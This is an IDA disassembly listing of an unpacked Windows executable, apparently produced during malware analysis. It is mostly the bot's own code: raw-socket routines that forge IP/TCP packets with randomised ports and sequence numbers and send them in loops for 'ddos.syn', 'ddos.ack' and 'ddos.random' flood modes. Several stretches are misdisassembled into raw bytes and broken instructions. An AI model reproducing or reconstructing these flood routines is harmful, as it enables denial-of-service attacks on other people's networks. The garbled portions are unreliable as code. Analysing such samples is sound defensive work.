;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : D4F96746B1FD46AC2BC63021E4BAA874
; File Name : u:\work\d4f96746b1fd46ac2bc63021e4baa874_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00080000 ( 524288.)
; Section size in file : 00080000 ( 524288.)
; Offset to raw data for section: 00001000
; Flags F0000040: Data Shareable Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: start+272j
; DATA XREF: .nsp0:0040D800o ...
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_41F040
push eax
call sub_411EEE
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40F9F1
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_408E17
push [ebp+var_290]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
test eax, 8B555E5Fh ; CODE XREF: sub_4013E9+40p
sub_401000 endp ; sp-analysis failed
in al, dx
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call dword_433A40 ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: .nsp0:004010E9j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_433B6C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_4013DD
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call dword_433AA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call dword_433AC8 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call dword_433AC8 ; ntohs
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call dword_433AC8 ; ntohs
mov [ebp-12h], ax
call sub_411F4A
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_433AC8 ; ntohs
push 12345678h
mov [ebp-14h], ax
call dword_433AC4 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: .nsp0:004011B7j
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: .nsp0:004011D3j
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_411F4A
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_411F4A
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-7], dl
loc_401216: ; CODE XREF: .nsp0:004011C0j
; .nsp0:004011DCj ...
push 4000h
mov byte ptr [ebp-8], 50h
call dword_433AC8 ; ntohs
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 0AB0000h
cmpsb
lea eax, [ebp-1Ch]
push eax
call near ptr 0AB0000h
push ebp
push dword ptr [ebp-44h]
mov eax, [ebp+18h]
cdq
push dword ptr [ebp-48h]
push edx
push eax
call sub_4123A0
add eax, [ebp-1Ch]
push 14h
pop esi
adc edx, [ebp-18h]
mov [ebp-3Ch], eax
mov [ebp-38h], edx
mov [ebp-4], bx
call sub_411F4A
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_433AC8 ; ntohs
mov [ebp-14h], ax
call sub_411F4A
mov edi, eax
shl edi, 10h
call sub_411F4A
or edi, eax
push edi
call dword_433AC8 ; ntohs
movzx eax, ax
mov [ebp-10h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call dword_433AC4 ; ntohl
mov [ebp-28h], eax
mov eax, [ebp-24h]
push esi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call dword_433AC8 ; ntohs
mov [ebp-6Eh], ax
mov eax, [ebp-28h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-94h]
push eax
call sub_411FD0
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_40809E
mov [ebp-4], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
lea eax, [ebp-14h]
push esi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_411FD0
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_411F70
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_40809E
mov [ebp-2Ah], ax
lea eax, [ebp-34h]
push esi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
add esp, 14h
lea eax, [ebp-58h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-20h]
call dword_433B2C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+10h], eax
lea eax, [ebp-1Ch]
push eax
call near ptr 0AB0000h
or ecx, [ebx+453BE845h]
enter 3C7Fh, 0Fh
mov edx, cs
; ---------------------------------------------------------------------------
db 0FEh
dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: .nsp0:0040137Dj
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-0F4h]
push offset unk_41F07C
push eax
call sub_411EEE
lea eax, [ebp-0F4h]
push eax
call sub_408E17
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
mov ebx, [ebp+10h]
loc_4013D3: ; CODE XREF: .nsp0:0040112Aj
; .nsp0:004013CEj
push dword ptr [ebp-20h]
call dword_433B60 ; closesocket
pop esi
loc_4013DD: ; CODE XREF: .nsp0:0040110Dj
call dword_433A28 ; WSACleanup
mov eax, ebx
loc_4013E5: ; CODE XREF: .nsp0:004010EDj
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_407F2F
push [esp+10h+arg_4]
mov esi, eax
call sub_41245F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41245F
mov edi, eax
call sub_411F4A
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call near ptr loc_4010AF+3
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; ---------------------------------------------------------------------------
loc_401447: ; DATA XREF: .nsp0:0040D9E8o
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+8]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-1BCh]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_433B48 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short near ptr loc_4014E1+1
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-3BCh]
push offset unk_41F21C
push eax
call sub_411EEE
xor edi, edi
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_4014C5
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_40F9F1
add esp, 14h
loc_4014C5: ; CODE XREF: .nsp0:004014A3j
lea eax, [ebp-3BCh]
push eax
call sub_408E17
push dword ptr [ebp-38h]
call sub_411CB6
pop ecx
pop ecx
push edi
call near ptr 0AB0000h
loc_4014E1: ; CODE XREF: .nsp0:00401481j
mov cl, 8Dh
dec ebp
hlt
; ---------------------------------------------------------------------------
db 6Ah, 4, 51h
dd 26AFF33h, 5D895057h, 0A815FFF4h, 8300433Ah, 5D75FFF8h
dd 3A5C15FFh, 8D500043h, 0FFFC4485h, 0F1D068FFh, 0E8500041h
dd 109DAh, 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh
dd 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0E4B8E8h
dd 14C48300h, 0FC44858Dh, 0E850FFFFh, 78CFh, 0E8C875FFh
dd 10766h, 0E8575959h, 6AEAA8h, 48858DB2h, 50FFFFFEh, 3B0815FFh
dd 0F8830043h, 8D5575FFh, 0FFFC4485h, 0F19C68FFh, 0E8500041h
dd 10972h, 59DC7D39h, 57207559h, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0E451h
dd 8D14C483h, 0FFFC4485h, 68E850FFh, 0FF000078h, 0FFE8C875h
dd 59000106h, 41E85759h, 0D5006AEAh, 458D106Ah, 0E85057E4h
dd 109A4h, 660CC483h, 2E445C7h, 15FF5700h, 433AC8h, 0E6458966h
dd 0FE48858Dh, 0FF50FFFFh, 433B0815h, 48358B00h, 890041D0h
dd 7D89E845h, 89D6FF08h, 0D6FFF845h, 33F8452Bh, 3E8B9D2h
dd 0F1F70000h, 0FD0453Bh, 19487h, 41C6800h, 5C60000h, 4322D8h
dd 0C815FF45h, 3900433Ah, 0A366D47Dh, 4322DAh, 0DC1D8966h
dd 66004322h, 22DE3D89h, 5C60043h, 4322E0h, 0E11D8880h
dd 66004322h, 22E23D89h, 30740043h, 108F1E8h, 0C1D88B00h
dd 0E7E808E3h, 3000108h, 8E3C1D8h, 108DDE8h, 0C1D80300h
dd 0D3E808E3h, 3000108h, 89016AD8h, 4322E41Dh, 18EB5B00h
dd 0FE44B5FFh, 0B6E8FFFFh, 59000069h, 815FF50h, 0A300433Bh
dd 4322E4h, 0A3E8458Bh, 4322E8h, 108A1E8h, 0B99900h, 0F7000001h
dd 0EC1588F9h, 0E8004322h, 1088Eh, 100B999h, 0F9F70000h
dd 22ED1588h, 7BE80043h, 99000108h, 0F0B9h, 4006800h, 0F9F70000h
dd 0EE3D8966h, 66004322h, 22F21D89h, 66420043h, 22F01589h
dd 53E80043h, 99000108h, 0FFB9h, 52F9F700h, 4322F468h
dd 866E800h, 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h
dd 22D86800h, 75FF0043h, 2C15FFFCh, 8300433Bh, 874FFF8h
dd 0E90845FFh, 0FFFFFECAh, 0FFFC75FFh, 433B6015h, 5C15FF00h
dd 5000433Ah, 0FE48858Dh, 75FFFFFFh, 38685008h, 8D0041F1h
dd 0FFFC4485h, 20068FFh, 0E8500000h, 10D06h, 3918C483h
dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h
dd 0B5FF50FFh, 0FFFFFE44h, 0E268E8h, 14C48300h, 0FC44858Dh
dd 0E850FFFFh, 767Fh, 0E8C875FFh, 10516h, 0E8575959h, 6AE858h
dd 0FC75FFCDh, 3B6015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h
dd 0F70AE8C1h, 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh
dd 0C8858D50h, 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041F0h
dd 10705E8h, 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0E1E3E8FFh
dd 0C4830000h, 44858D14h, 50FFFFFCh, 75FAE8h, 0C875FF00h
dd 10491E8h, 57595900h, 6AE7D3E8h
db 0, 0C2h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: .nsp0:0040D6F1o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_41F264
push eax
call sub_411EEE
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40F9F1
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_408E17
push [ebp+var_10]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
mov ds:8B555E5Fh, al ; CODE XREF: sub_401B7C+3Cp
sub_40182E endp ; sp-analysis failed
in al, dx
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call dword_433A40 ; WSAStartup
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: .nsp0:00401901j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_433B6C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-0Ch], eax
jz loc_401B70
push esi
lea ecx, [ebp-38h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-38h], edi
call dword_433AA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp-50h]
push ebx
push eax
call sub_411F70
add esp, 0Ch
mov word ptr [ebp-50h], 2
push dword ptr [ebp+10h]
call dword_433AC8 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-4Eh], ax
mov [ebp-4Ch], esi
mov byte ptr [ebp-20h], 45h
call dword_433AC8 ; ntohs
push dword ptr [ebp+10h]
mov [ebp-1Eh], ax
mov [ebp-1Ch], di
mov [ebp-1Ah], bx
mov byte ptr [ebp-18h], 80h
mov byte ptr [ebp-17h], 6
mov [ebp-16h], bx
mov [ebp-10h], esi
call dword_433AC8 ; ntohs
push 4000h
mov [ebp-32h], ax
mov [ebp-2Ch], ebx
mov byte ptr [ebp-28h], 50h
mov byte ptr [ebp-27h], 2
call dword_433AC8 ; ntohs
mov [ebp-26h], ax
lea eax, [ebp-40h]
push eax
mov [ebp-22h], bx
mov [ebp+10h], ebx
call near ptr 0AB0000h
stosb
lea eax, [ebp-8]
push eax
call near ptr 0AB0000h
pop eax
push dword ptr [ebp-3Ch]
mov eax, [ebp+14h]
cdq
push dword ptr [ebp-40h]
push edx
push eax
call sub_4123A0
add eax, [ebp-8]
mov esi, edx
adc esi, [ebp-4]
mov [ebp-58h], eax
loc_4019F5: ; CODE XREF: .nsp0:00401B27j
; .nsp0:00401B35j
mov [ebp-24h], bx
call sub_411F4A
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_433AC8 ; ntohs
mov [ebp-34h], ax
call sub_411F4A
mov edi, eax
shl edi, 10h
call sub_411F4A
or edi, eax
push edi
call dword_433AC8 ; ntohs
movzx eax, ax
mov [ebp-30h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call dword_433AC4 ; ntohl
push 14h
mov [ebp-14h], eax
mov eax, [ebp-10h]
pop edi
push edi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call dword_433AC8 ; ntohs
mov [ebp-6Eh], ax
mov eax, [ebp-14h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
lea eax, [ebp-34h]
push edi
push eax
lea eax, [ebp-94h]
push eax
call sub_411FD0
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_40809E
mov [ebp-24h], ax
lea eax, [ebp-20h]
push edi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
loc_401AAC: ; CODE XREF: .nsp0:00401B1Fj
lea eax, [ebp-34h]
push edi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_411FD0
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_411F70
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_40809E
mov [ebp-16h], ax
lea eax, [ebp-20h]
push edi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_411FD0
add esp, 14h
lea eax, [ebp-50h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-0Ch]
call dword_433B2C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401B3A
add [ebp+10h], eax
lea eax, [ebp-8]
push eax
call near ptr 0AB0000h
jg short loc_401AAC
inc ebp
cld
cmp eax, esi
jg short loc_401B63
jl loc_4019F5
mov eax, [ebp-8]
cmp eax, [ebp-58h]
jnb short loc_401B63
jmp loc_4019F5
; ---------------------------------------------------------------------------
loc_401B3A: ; CODE XREF: .nsp0:00401B11j
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-0F4h]
push offset dword_41F2A0
push eax
call sub_411EEE
lea eax, [ebp-0F4h]
push eax
call sub_408E17
add esp, 10h
jmp short loc_401B66
; ---------------------------------------------------------------------------
loc_401B63: ; CODE XREF: .nsp0:00401B25j
; .nsp0:00401B33j
mov ebx, [ebp+10h]
loc_401B66: ; CODE XREF: .nsp0:00401942j
; .nsp0:00401B61j
push dword ptr [ebp-0Ch]
call dword_433B60 ; closesocket
pop esi
loc_401B70: ; CODE XREF: .nsp0:00401925j
call dword_433A28 ; WSACleanup
mov eax, ebx
loc_401B78: ; CODE XREF: .nsp0:00401905j
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_407F2F
push [esp+10h+arg_4]
mov esi, eax
call sub_41245F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41245F
mov edi, eax
call sub_411F4A
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call near ptr loc_4018C7+3
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401BD6: ; DATA XREF: .nsp0:0040CB40o
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-240h]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp-9Fh]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp-0A0h], bl
rep stosd
stosw
stosb
mov edi, dword_41D048
call edi ; dword_41D048
push eax
call sub_411F40
pop ecx
push 0FFh
push 3
push 2
call dword_433B48 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_401C9F
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-440h]
push offset dword_41F428
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40F9F1
add esp, 14h
loc_401C7F: ; CODE XREF: .nsp0:00401C5Aj
lea eax, [ebp-440h]
push eax
call sub_408E17
push dword ptr [ebp-0BCh]
call sub_411CB6
pop ecx
pop ecx
push ebx
call near ptr 0AB0000h
std
loc_401C9F: ; CODE XREF: .nsp0:00401C37j
lea ecx, [ebp-34h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-34h], esi ; CODE XREF: .nsp0:00401D1Cj
call dword_433AA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401D1C+1
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp-440h]
push offset dword_41F3DC
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40F9F1
add esp, 14h
loc_401CFD: ; CODE XREF: .nsp0:00401CD8j
lea eax, [ebp-440h]
push eax
call sub_408E17
push dword ptr [ebp-0BCh]
call sub_411CB6
pop ecx
pop ecx
push ebx
call near ptr 0AB0000h
loc_401D1C: ; CODE XREF: .nsp0:00401CB5j
jo short near ptr loc_401CA9+2
test eax, esp
std
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
dd 3B0815FFh, 0F8830043h, 8D5E75FFh, 0FFFBC085h, 0F3A868FFh
dd 0E8500041h, 101AEh, 0FF589D39h, 5959FFFFh, 8D532375h
dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
dd 0FFFDC0B5h, 0DC87E8FFh, 0C4830000h, 0C0858D14h, 50FFFFFBh
dd 709EE8h, 44B5FF00h, 0E8FFFFFFh, 0FF32h, 0E8535959h
dd 6AE274h, 8D106AE1h, 5053BC45h, 101D7E8h, 0CC48300h
dd 0BC45C766h, 0FF530002h, 433AC815h, 45896600h, 0C4858DBEh
dd 50FFFFFDh, 3B0815FFh, 45890043h, 85D89C0h, 4589D7FFh
dd 2BD7FFD0h, 0D233D045h, 3E8B9h, 3BF1F700h, 0FFFF4C85h
dd 0AA870FFFh, 6A000002h, 0D445C628h, 0C815FF45h, 3900433Ah
dd 0FFFF509Dh, 458966FFh, 758966D6h, 5D8966D8h, 0DC45C6DAh
dd 0DD45C680h, 5D896606h, 0E82D74DEh, 1013Ah, 0E6C1F08Bh
dd 130E808h, 0F0030001h, 0E808E6C1h, 10126h, 0E6C1F003h
dd 11CE808h, 0F0030001h, 7589016Ah, 16EB5EE0h, 0FDC0B5FFh
dd 2E8FFFFh, 59000062h, 815FF50h, 8900433Bh, 458BE045h
dd 489D39C0h, 89FFFFFFh, 1075E445h, 100E9E8h, 1B99900h
dd 0F7000004h, 6EB52F9h, 0FF48B5FFh, 15FFFFFFh, 433AC8h
dd 0EA458966h, 100C9E8h, 1B99900h, 0F7000004h, 15FF52F9h
dd 433AC8h, 34567868h, 45896612h, 0C415FFE8h, 8900433Ah
dd 858DEC45h, 0FFFFFE44h, 41F3A468h, 0DE85000h, 59000106h
dd 7459C085h, 0F05D8909h, 2F545C6h, 858D5CEBh, 0FFFFFE44h
dd 41F3A068h, 0EDE85000h, 59000105h, 7459C085h, 0F05D8909h
dd 10F545C6h, 858D3CEBh, 0FFFFFE44h, 41F39868h, 0CDE85000h
dd 59000105h, 7459C085h, 4CE825h, 36A0001h, 0F9F75999h
dd 0E8F05589h, 1003Eh, 5999026Ah, 0DAF7F9F7h, 0E280D21Ah
dd 88D1020Eh, 68F555h, 0C6000002h, 0FF50F445h, 433AC815h
dd 45896600h, 0E0458BF6h, 8B9C4589h, 146AE445h, 0FA5D8966h
dd 0F85D8966h, 88A04589h, 45C6A45Dh, 15FF06A5h, 433AC8h
dd 0A6458966h, 6A9C458Dh, 858D5020h, 0FFFFFF60h, 66E850h
dd 458D0001h, 50146AE8h, 5080458Dh, 10057E8h, 60858D00h
dd 6AFFFFFFh, 17E85034h, 66000061h, 8DF84589h, 146AD445h
dd 60858D50h, 50FFFFFFh, 10033E8h, 0E8458D00h, 8D50146Ah
dd 0FFFF7485h, 21E850FFh, 6A000100h, 88458D04h, 0B5E85053h
dd 830000FFh, 858D44C4h, 0FFFFFF60h, 0E850286Ah, 60D2h
dd 0DE458966h, 6AD4458Dh, 858D5014h, 0FFFFFF60h, 0FFEEE850h
dd 0C4830000h, 0BC458D14h, 5350106Ah, 0FF60858Dh, 3C6AFFFFh
dd 0FC75FF50h, 3B2C15FFh, 0F8830043h, 0FF0874FFh, 0BAE90845h
dd 0FFFFFFFDh, 15FFFC75h, 433B60h, 3A5C15FFh, 8D500043h
dd 0FFFDC485h, 875FFFFh, 0F3346850h, 858D0041h, 0FFFFFBC0h
dd 20068h, 2FE85000h, 83000104h, 9D3918C4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 0D98BE8FFh, 0C4830000h, 0C0858D14h
dd 50FFFFFBh, 6DA2E8h, 44B5FF00h, 0E8FFFFFFh, 0FC36h, 0E8535959h
dd 6ADF78h, 0FC75FFFAh, 3B6015FFh, 458B0043h, 6BD23308h
dd 0C88B3CC0h, 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h
dd 0FFFFFDC4h, 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h
dd 0F2D068FFh, 0E8500041h, 0FE22h, 391CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 0FAE8FFFFh, 830000D8h, 858D14C4h
dd 0FFFFFBC0h, 6D11E850h, 0B5FF0000h, 0FFFFFF44h, 0FBA5E8h
dd 53595900h, 6ADEE7E8h
db 0, 6Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40211A proc near ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+253p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
loc_40211D: ; DATA XREF: .nsp0:off_428D84o
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_41D058 ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call near ptr 0AB0000h
inc ecx
lea eax, [ebp+var_114]
push offset asc_41FC20 ; "\\"
push eax
call sub_412610
